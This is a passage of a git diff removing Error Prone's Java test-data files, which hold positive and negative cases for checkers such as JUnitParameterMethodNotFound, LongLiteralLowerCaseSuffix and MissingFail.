bhagwani@google.com (Sumit Bhagwani) - */ -public class JUnitAssertSameCheckPositiveCase { - - public void test(Object obj) { - // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit - org.junit.Assert.assertSame(obj, obj); - - // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit - org.junit.Assert.assertSame("message", obj, obj); - - // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit - junit.framework.Assert.assertSame(obj, obj); - - // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit - junit.framework.Assert.assertSame("message", obj, obj); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCase.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCase.java deleted file mode 100644 index 620ad5b555b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCase.java +++ /dev/null @@ -1,144 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Arrays; -import java.util.Iterator; -import java.util.List; -import junitparams.JUnitParamsRunner; -import junitparams.Parameters; -import junitparams.naming.TestCaseName; -import org.junit.Test; -import org.junit.runner.RunWith; - -/** Negative cases for {@link com.google.errorprone.bugpatterns.JUnitParameterMethodNotFound} */ -@RunWith(JUnitParamsRunner.class) -public class JUnitParameterMethodNotFoundNegativeCase { - - private static final String METHOD = "named1"; - - private static Object[] dataProvider() { - return new Object[] {1}; - } - - private static Object[] dataProvider1() { - return new Object[] {2}; - } - - @Test - @Parameters(method = "dataProvider, dataProvider1") - public void paramStaticProvider(int a) {} - - @Test - @Parameters(source = Inner.class, method = "dataProviderInner") - public void testSource(int a) {} - - @Test - @Parameters({"AAA,1", "BBB,2"}) - public void paramsInAnnotation(String p1, Integer p2) {} - - @Test - @Parameters({"AAA|1", "BBB|2"}) - public void paramsInAnnotationPipeSeparated(String p1, Integer p2) {} - - @Test - @Parameters - public void paramsInDefaultMethod(String p1, Integer p2) {} - - private Object parametersForParamsInDefaultMethod() { - return new Object[] {new Object[] {"AAA", 1}, new Object[] {"BBB", 2}}; - } - - @Test - @Parameters(method = METHOD) - public void paramsInNamedMethod(String p1, Integer p2) {} - - private Object named1() { - return new Object[] {"AAA", 1}; - } - - @Test - @Parameters(method = "named2,named3") - public void paramsInMultipleMethods(String p1, Integer p2) {} - - private Object named2() { - return new Object[] {"AAA", 1}; - } - - private Object named3() { - return new Object[] {"BBB", 2}; - } - - @Test - @Parameters - public void paramsInCollection(String p1) {} - - private List parametersForParamsInCollection() { - return Arrays.asList("a"); - } - - @Test - @Parameters - public void paramsInIterator(String p1) {} - - private Iterator parametersForParamsInIterator() { - return Arrays.asList("a").iterator(); - } - - @Test - @Parameters - public void paramsInIterableOfIterables(String p1, String p2) {} - - private List> parametersForParamsInIterableOfIterables() { - return Arrays.asList(Arrays.asList("s01e01", "s01e02"), Arrays.asList("s02e01", "s02e02")); - } - - @Test - @Parameters( - "please\\, escape commas if you use it here and don't want your parameters to be split") - public void commasInParametersUsage(String phrase) {} - - @Test - @Parameters({"1,1", "2,2", "3,6"}) - @TestCaseName("factorial({0}) = {1}") - public void customNamesForTestCase(int argument, int result) {} - - @Test - @Parameters({"value1, value2", "value3, value4"}) - @TestCaseName("[{index}] {method}: {params}") - public void predefinedMacroForTestCaseNames(String param1, String param2) {} - - public Object mixedParameters() { - boolean booleanValue = true; - int[] primitiveArray = {1, 2, 3}; - String stringValue = "Test"; - String[] stringArray = {"one", "two", null}; - return new Object[] {new Object[] {booleanValue, primitiveArray, stringValue, stringArray}}; - } - - @Test - @Parameters(method = "mixedParameters") - @TestCaseName("{0}, {1}, {2}, {3}") - public void usageOfMultipleTypesOfParameters( - boolean booleanValue, int[] primitiveArray, String stringValue, String[] stringArray) {} - - static class Inner { - public Object dataProviderInner() { - return new Object[] {1}; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseBaseClass.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseBaseClass.java deleted file mode 100644 index 75594aab464..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseBaseClass.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junitparams.JUnitParamsRunner; -import org.junit.runner.RunWith; - -@RunWith(JUnitParamsRunner.class) -public abstract class JUnitParameterMethodNotFoundNegativeCaseBaseClass { - public Object named1() { - return new Object[] {1}; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner.java deleted file mode 100644 index 28847aff58c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner.java +++ /dev/null @@ -1,29 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junitparams.Parameters; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -@RunWith(JUnit4.class) -public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner { - @Test - @Parameters(method = "named1") - public void paramStaticProvider() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseSuperClass.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseSuperClass.java deleted file mode 100644 index 2f8d81a470f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseSuperClass.java +++ /dev/null @@ -1,30 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junitparams.JUnitParamsRunner; -import junitparams.Parameters; -import org.junit.Test; -import org.junit.runner.RunWith; - -@RunWith(JUnitParamsRunner.class) -public class JUnitParameterMethodNotFoundNegativeCaseSuperClass - extends JUnitParameterMethodNotFoundNegativeCaseBaseClass { - @Test - @Parameters(method = "named1") - public void testNamed(int a) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundPositiveCase.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundPositiveCase.java deleted file mode 100644 index ae5f5c6f32c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundPositiveCase.java +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junitparams.JUnitParamsRunner; -import junitparams.Parameters; -import org.junit.Test; -import org.junit.runner.RunWith; - -@RunWith(JUnitParamsRunner.class) -public class JUnitParameterMethodNotFoundPositiveCase { - - @Test - @Parameters - // BUG: Diagnostic contains: [JUnitParameterMethodNotFound] - public void paramsInDefaultMethod(String p1, Integer p2) {} - - @Test - @Parameters(method = "named2,named3") - // BUG: Diagnostic contains: [JUnitParameterMethodNotFound] - public void paramsInMultipleMethods(String p1, Integer p2) {} - - @Test - @Parameters(source = JUnitParameterMethodNotFoundPositiveCase.class, method = "dataProvider") - // BUG: Diagnostic contains: [JUnitParameterMethodNotFound] - public void testSource(int a) {} - - static class Inner { - public Object dataProvider() { - return new Object[] {1}; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LambdaFunctionalInterfaceNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LambdaFunctionalInterfaceNegativeCases.java deleted file mode 100644 index 8113e9fead5..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LambdaFunctionalInterfaceNegativeCases.java +++ /dev/null @@ -1,104 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.function.Function; -import java.util.function.IntToDoubleFunction; - -public class LambdaFunctionalInterfaceNegativeCases { - - public double fooIntToDoubleFunction(int x, Function fn) { - return fn.apply(x).doubleValue(); - } - - public void fooIntToDoubleUtil(int y, IntToDoubleFunction fn) { - fn.applyAsDouble(y); - } - - public long fooIntToLongFunction(int x, Function fn) { - return fn.apply(x); - } - - public long fooIntToIntFunction(int x, Function fn) { - return fn.apply(x); - } - - public double fooDoubleToDoubleFunction(double x, Function fn) { - return fn.apply(x); - } - - public int fooDoubleToIntFunction(double x, Function fn) { - return fn.apply(x); - } - - public String add(String string, Function func) { - return func.apply(string); - } - - public void fooInterface(String str, Function func) {} - - public double fooDouble(double x, Function fn) { - return fn.apply(x); - } - - public static class WithCallSiteExplicitFunction { - - public static double generateDataSeries(Function curveFunction) { - final double scale = 100; - final double modX = 2.0; - return modX / curveFunction.apply(scale); - } - - // call site - private static double generateSpendCurveForMetric(double curved) { - // explicit Function variable creation - Function curveFunction = x -> Math.pow(x, 1 / curved) * 100; - return generateDataSeries(curveFunction); - } - } - - public static class WithCallSiteAnonymousFunction { - - public static double findOptimalMu(Function costFunc, double mid) { - return costFunc.apply(mid); - } - - // call site: anonymous Function - public Double getMu() { - return findOptimalMu( - new Function() { - @Override - public Long apply(Double mu) { - return 0L; - } - }, - 3.0); - } - } - - public static class WithCallSiteLambdaFunction { - - public static double findOptimalMuLambda(Function costFunc, double mid) { - return costFunc.apply(mid); - } - - // call site: anonymous Function - public Double getMu() { - return findOptimalMuLambda(mu -> 0L, 3.0); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LambdaFunctionalInterfacePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LambdaFunctionalInterfacePositiveCases.java deleted file mode 100644 index fc305a4e57a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LambdaFunctionalInterfacePositiveCases.java +++ /dev/null @@ -1,175 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.ArrayList; -import java.util.List; -import java.util.function.Function; - -public class LambdaFunctionalInterfacePositiveCases { - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private double fooIntToDoubleFunctionPr(int x, Function fn) { - return fn.apply(x); - } - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private long fooIntToLongFunction(int x, Function fn) { - return fn.apply(x); - } - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private long fooIntToIntFunction(int x, Function fn) { - return fn.apply(x); - } - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private double fooDoubleToDoubleFunction(double x, Function fn) { - return fn.apply(x); - } - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private int fooDoubleToIntFunction(double x, Function fn) { - return fn.apply(x); - } - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private void fooInterface(String str, Function func) {} - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private double fooDouble(double x, Function fn) { - return fn.apply(x); - } - - public static class WithCallSiteExplicitFunction { - - private static double generateDataSeries(Function curveFunction) { - final double scale = 100; - final double modX = 2.0; - return modX / curveFunction.apply(scale); - } - - // call site - private static double generateSpendCurveForMetric(double curved) { - // explicit Function variable creation - Function curveFunction = x -> Math.pow(x, 1 / curved) * 100; - return generateDataSeries(curveFunction); - } - - // call site: lambda Function - public Double getMu() { - return generateDataSeries(mu -> 2.3); - } - } - - public static class WithCallSiteAnonymousFunction { - - private static double findOptimalMu(Function costFunc, double mid) { - return costFunc.apply(mid); - } - - // call site: anonymous Function - public Double getMu() { - return findOptimalMu( - new Function() { - @Override - public Long apply(Double mu) { - return 0L; - } - }, - 3.0); - } - } - - public static class WithCallSiteLambdaFunction { - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private static double findOptimalMuLambda(Function costFunc, double mid) { - return costFunc.apply(mid); - } - - // call site: lambda - public Double getMu() { - return findOptimalMuLambda(mu -> 0L, 3.0); - } - - // call site: lambda - public Double getTu() { - return findOptimalMuLambda(mu -> 2L, 4.0); - } - } - - public static class TwoLambdaFunctions { - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private static double find( - Function firstFunc, Function secondFun, double mid) { - firstFunc.apply(mid + 2); - - return firstFunc.apply(mid); - } - - // call site: lambda - public Double getMu() { - return find(mu -> 0L, nu -> 1L, 3.0); - } - - // call site: lambda - public Double getTu() { - return find(mu -> 2L, nu -> 3L, 4.0); - } - } - - public static class NumbertoT { - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private static List numToTFunction(Function converter) { - List namedNumberIntervals = new ArrayList<>(); - T min = converter.apply(2.9); - T max = converter.apply(5.6); - namedNumberIntervals.add(min); - namedNumberIntervals.add(max); - return namedNumberIntervals; - } - - // call site: lambda - public List getIntList() { - List result = numToTFunction(num -> 2 + 3); - - return result; - } - - // call site: lambda - public List getDoubleList() { - List result = numToTFunction(num -> 2.3); - - return result; - } - } - - public static class TtoNumber { - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private int sumAll(Function sizeConv) { - return sizeConv.apply((T) Integer.valueOf(3)); - } - - public int getSumAll() { - return sumAll(o -> 2); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LockOnNonEnclosingClassLiteralNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LockOnNonEnclosingClassLiteralNegativeCases.java deleted file mode 100644 index 5e18bf8b81d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LockOnNonEnclosingClassLiteralNegativeCases.java +++ /dev/null @@ -1,40 +0,0 @@ -/* - * Copyright 2023 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -public class LockOnNonEnclosingClassLiteralNegativeCases { - - static { - synchronized (LockOnNonEnclosingClassLiteralNegativeCases.class) { - } - } - - private void methodContainsSynchronizedBlock() { - synchronized (LockOnNonEnclosingClassLiteralNegativeCases.class) { - } - synchronized (this) { - } - } - - class SubClass { - - public void methodContainsSynchronizedBlock() { - synchronized (SubClass.class) { - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LockOnNonEnclosingClassLiteralPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LockOnNonEnclosingClassLiteralPositiveCases.java deleted file mode 100644 index b340a900342..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LockOnNonEnclosingClassLiteralPositiveCases.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright 2023 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -public class LockOnNonEnclosingClassLiteralPositiveCases { - - static { - // BUG: Diagnostic contains: Lock on the class other than the enclosing class of the code block - // can unintentionally prevent the locked class being used properly. - synchronized (String.class) { - } - } - - private void methodContainsSynchronizedBlock() { - // BUG: Diagnostic contains: Lock on the class other than the enclosing class of the code block - // can unintentionally prevent the locked class being used properly. - synchronized (String.class) { - } - } - - class SubClass { - - public void methodContainsSynchronizedBlock() { - // BUG: Diagnostic contains: Lock on the class other than the enclosing class of the code - // block can unintentionally prevent the locked class being used properly. - synchronized (LockOnNonEnclosingClassLiteralPositiveCases.class) { - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixNegativeCases.java deleted file mode 100644 index 7af626934cc..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixNegativeCases.java +++ /dev/null @@ -1,65 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Negative cases for {@link LongLiteralLowerCaseSuffix} - * - * @author Simon Nickerson (sjnickerson@google.com) - */ -public class LongLiteralLowerCaseSuffixNegativeCases { - public void positiveUpperCase() { - long value = 123432L; - } - - public void zeroUpperCase() { - long value = 0L; - } - - public void negativeUpperCase() { - long value = -3L; - } - - public void notLong() { - String value = "0l"; - } - - public void variableEndingInEllIsNotALongLiteral() { - long ell = 0L; - long value = ell; - } - - public void positiveNoSuffix() { - long value = 3; - } - - public void negativeNoSuffix() { - long value = -3; - } - - public void positiveHexUpperCase() { - long value = 0x80L; - } - - public void zeroHexUpperCase() { - long value = 0x0L; - } - - public void negativeHexUpperCase() { - long value = -0x80L; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixPositiveCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixPositiveCase1.java deleted file mode 100644 index 084df422649..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixPositiveCase1.java +++ /dev/null @@ -1,95 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Positive cases for {@link LongLiteralLowerCaseSuffix}. - */ -public class LongLiteralLowerCaseSuffixPositiveCase1 { - - // This constant string includes non-ASCII characters to make sure that we're not confusing - // bytes and chars: - @SuppressWarnings("unused") - private static final String TEST_STRING = "Îñţérñåţîöñåļîžåţîờñ"; - - public void positiveLowerCase() { - // BUG: Diagnostic contains: value = 123432L - long value = 123432l; - } - - public void zeroLowerCase() { - // BUG: Diagnostic contains: value = 0L - long value = 0l; - } - - public void negativeLowerCase() { - // BUG: Diagnostic contains: value = -123432L - long value = -123432l; - } - - public void negativeExtraSpacesLowerCase() { - // BUG: Diagnostic contains: value = - 123432L - long value = - 123432l; - } - - public void positiveHexLowerCase() { - // BUG: Diagnostic contains: value = 0x8abcDEF0L - long value = 0x8abcDEF0l; - // BUG: Diagnostic contains: value = 0X80L - value = 0X80l; - } - - public void zeroHexLowerCase() { - // BUG: Diagnostic contains: value = 0x0L - long value = 0x0l; - // BUG: Diagnostic contains: value = 0X0L - value = 0X0l; - } - - public void negativeHexLowerCase() { - // BUG: Diagnostic contains: value = -0x8abcDEF0L - long value = -0x8abcDEF0l; - // BUG: Diagnostic contains: value = -0X80L - value = -0X80l; - } - - public void negativeHexExtraSpacesLowerCase() { - // BUG: Diagnostic contains: value = - 0x8abcDEF0L - long value = - 0x8abcDEF0l; - } - - public void positiveOctalLowerCase() { - // BUG: Diagnostic contains: value = 06543L - long value = 06543l; - } - - public void zeroOctalLowerCase() { - // BUG: Diagnostic contains: value = 00L - long value = 00l; - } - - public void negativeOctalLowerCase() { - // BUG: Diagnostic contains: value = -06543L - long value = -06543l; - } - - public void negativeOctalExtraSpacesLowerCase() { - // BUG: Diagnostic contains: value = - 06543L - long value = - 06543l; - } - -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixPositiveCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixPositiveCase2.java deleted file mode 100644 index 96333caabf6..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixPositiveCase2.java +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** Positive cases for {@link LongLiteralLowerCaseSuffix}. */ -public class LongLiteralLowerCaseSuffixPositiveCase2 { - - // This constant string includes non-ASCII characters to make sure that we're not confusing - // bytes and chars: - @SuppressWarnings("unused") - private static final String TEST_STRING = "Îñţérñåţîöñåļîžåţîờñ"; - - public void underscoredLowerCase() { - // BUG: Diagnostic contains: value = 0_1__2L - long value = 0_1__2l; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailNegativeCases.java deleted file mode 100644 index ff923586ea4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailNegativeCases.java +++ /dev/null @@ -1,478 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.HashMap; -import java.util.Map; -import junit.framework.AssertionFailedError; -import junit.framework.Test; -import junit.framework.TestCase; -import org.junit.After; -import org.junit.Assert; -import org.junit.Before; -import org.mockito.Mockito; - -/** Test cases for missing fail */ -public class MissingFailNegativeCases extends TestCase { - - private static final Logger logger = new Logger(); - private static final Logger log = new Logger(); - private static final Logger thingThatLogs = new Logger(); - - private boolean foo = true; - - public void expectedException_withFail() { - try { - dummyMethod(); - Assert.fail(); - } catch (Exception expected) { - } - } - - @SuppressWarnings("deprecation") // Need to recognize a framework call but don't want a warning. - public void expectedException_withFrameworkFail() { - try { - dummyMethod(); - junit.framework.Assert.fail(); - } catch (Exception expected) { - } - } - - public void expectedException_withStaticFail() { - try { - dummyMethod(); - fail(); - } catch (Exception expected) { - } - } - - public void expectedException_returnInTry() { - try { - dummyMethod(); - return; - } catch (Exception expected) { - } - } - - public void expectedException_returnInCatch() { - try { - dummyMethod(); - } catch (Exception expected) { - return; - } - } - - public void expectedException_returnAfterCatch() { - try { - dummyMethod(); - } catch (Exception expected) { - } - return; - } - - public void expectedException_throwInCatch() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - throw new Exception(); - } - } - - public void expectedException_throwInTry() throws Exception { - boolean foo = false; - try { - if (foo) { - throw new Exception(); - } - dummyMethod(); - } catch (Exception expected) { - } - } - - public void expectedException_throwSynonymInCatch() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - Assert.assertFalse(true); - } - } - - public void assertInCatch_testCaseThrowSynonymInCatch() throws Exception { - try { - dummyMethod(); - } catch (Exception e) { - assertFalse(true); - } - } - - public void expectedException_throwSynonymInTry() throws Exception { - boolean foo = false; - try { - if (foo) { - Assert.assertFalse(true); - } - dummyMethod(); - } catch (Exception expected) { - } - } - - public void expectedException_assertTrueFalse() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - Assert.assertTrue(false); - } - } - - public void expectedException_assertTrueFalseWithMessage() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - Assert.assertTrue("This should never happen", false); - } - } - - public void expectedException_testCaseAssertTrueFalseWithMessage() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - assertTrue("This should never happen", false); - } - } - - public void assertInCatch_assertTrueFalseWithMessage() throws Exception { - try { - dummyMethod(); - } catch (Exception e) { - Assert.assertTrue("This should never happen", false); - } - } - - public void expectedException_assertBoxedTrueFalse() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - Assert.assertTrue(Boolean.FALSE); - } - } - - public void expectedException_assertUnequal() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - Assert.assertEquals(1, 2); - } - } - - public void expectedException_testCaseAssertUnequal() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - assertEquals(1, 2); - } - } - - public void expectedException_assertFalse() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - assert (false); - } - } - - @Before - public void expectedException_beforeAnnotation() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - } - } - - @After - public void expectedException_afterAnnotation() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - } - } - - // Don't match setUp methods. - public void setUp() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - } - } - - // Don't match tearDown methods. - public void tearDown() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - } - } - - // Don't match main methods. - public static void main(String[] args) throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - } - } - - // Don't match suite methods. - public static Test suite() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - } - int x; // Don't return right after catch so as not to trigger that exclusion. - return null; - } - - public void expectedException_interruptedException() throws Exception { - try { - dummyMethod(); - } catch (InterruptedException expected) { - } - } - - public void expectedException_assertionError() throws Exception { - try { - dummyMethod(); - } catch (AssertionError expected) { - } - } - - public void expectedException_assertionFailedError() throws Exception { - try { - dummyMethod(); - } catch (AssertionFailedError expected) { - } - } - - public void expectedException_throwable() throws Exception { - try { - dummyMethod(); - } catch (Throwable expected) { - } - } - - public void testExpectedException_loopInTestMethod() throws Exception { - for (int i = 0; i < 2; i++) { - 